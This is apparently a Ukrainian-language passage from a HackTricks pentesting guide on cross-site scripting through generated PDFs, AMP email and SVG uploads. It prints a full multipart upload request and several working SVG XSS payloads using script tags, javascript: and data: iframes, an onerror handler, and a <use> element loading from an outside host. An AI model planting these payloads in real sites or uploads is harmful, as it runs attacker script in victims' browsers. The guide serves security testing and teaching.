XSS у динамічно створеному PDF

Якщо веб-сторінка створює PDF, використовуючи введення, кероване користувачем, ви можете спробувати обдурити бота, який створює PDF, щоб виконати довільний JS-код. Таким чином, якщо бот для створення PDF знаходить якісь HTML-теги, він буде їх інтерпретувати, і ви можете зловживати цим поведінкою, щоб викликати Server XSS.

pageServer Side XSS (Dynamic PDF)

Якщо ви не можете впровадити HTML-теги, варто спробувати впровадити дані PDF:

pagePDF Injection

XSS у Amp4Email

AMP, спрямований на прискорення продуктивності веб-сторінок на мобільних пристроях, включає HTML-теги, доповнені JavaScript для забезпечення функціональності з акцентом на швидкість та безпеку. Він підтримує ряд компонентів для різних функцій, доступних через компоненти AMP.

Формат AMP для Email розширює певні компоненти AMP для електронних листів, що дозволяє отримувачам взаємодіяти з контентом безпосередньо у своїх листах.

Приклад опису XSS у Amp4Email у Gmail.

XSS завантаження файлів (svg)

Завантажте як зображення файл, подібний до наступного (з http://ghostlulz.com/xss-svg/):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Знайдіть більше SVG вразливостей в https://github.com/allanlw/svg-cheatsheet

Різноманітні трюки JS та відповідна інформація

pageMisc JS Tricks & Relevant Info

Ресурси XSS

Якщо вас цікавить кар'єра хакера та взламати невзламне - ми шукаємо співробітників! (вимагається вільне володіння польською мовою, як письмово, так і усно).

Вивчіть хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated